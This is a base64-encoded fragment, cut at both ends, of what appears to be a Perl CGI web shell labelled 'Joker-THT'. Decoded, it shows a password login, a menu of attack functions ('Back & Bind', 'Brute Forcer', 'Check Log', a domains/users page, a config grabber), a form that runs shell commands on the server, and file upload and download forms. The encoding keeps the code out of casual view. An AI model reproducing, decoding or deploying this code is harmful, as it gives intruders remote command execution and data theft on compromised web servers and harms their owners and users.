iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+PGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+PGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+PHRyPjx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTM+PGI+PGZvbnQgc2l6ZT0iMyI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj48L3RkPjx0ZD4KCQkkaW5mbwo8L3RkPjx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9InJlZCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9InJlZCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5UJiM3ODQzO2kgWHUmIzc4ODk7bmcgRmlsZTwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbmZpZ21hcmlvbiI+QWxsL0NvbmZpZy5Kb2tlci1USFQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij4mIzI3MjsmIzI1OTtuZyBYdSYjNzg0NTt0PC9hPiB8CjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIuLi9lcnJvcl9sb2cucGhwIj5IZWxwPC9hPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD48L3RyPjwvdGFibGU+PGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KCkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+PC9wcmU+PGJyPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7ClR5cGluZ1RleHQucnVuQWxsKCk7Cjwvc2NyaXB0PgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgZW5jb2RlIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcmxFbmNvZGUoJCl7CglteSAkc3RyID0gc2hpZnQ7Cgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOwoJcmV0dXJuICRzdHI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKTSYjNzg1Mzt0IEtoJiM3ODQ5O3U6PGJyPkxvZ2luIGluY29ycmVjdDxicj48YnI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+TSYjNzg1Mzt0IEtoJiM3ODQ5O3U6IEpva2VyLVRIVDxicj5NJiM3ODUzO3QgS2gmIzc4NDk7dTo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJKb2tlci1USFQiPjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD49PC9mb250Pjxmb250IGNvbG9yPXJlZD4tLS0mZ3Q7KiAgPGZvbnQgY29sb3I9MDBGRjAwPkVkaXRlZCBieSA6OltKb2tlci1USFRdOjogPC9mb250PiAgKiZsdDstLS09PC9mb250PjwvY29kZT48L2NlbnRlcj48L2JvZHk+PC9odG1sPiI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9c3ViIFBlcmZvcm1Mb2dvdXQKewoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQoJJlByaW50UGFnZUhlYWRlcigicCIpOwoJJlByaW50TG9nb3V0U2NyZWVuOwoKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKCWV4aXQ7Cn0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KVCYjMjM0O24gRmlsZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KVCYjNzg0MztpIFh1JiM3ODg5O25nIDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJKb2tlci1USFQiPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+ClQmIzIzNDtuIEZpbGU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkMmIzIyNDtpICYjMjcyOyYjNzg2Mzt0OiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0Z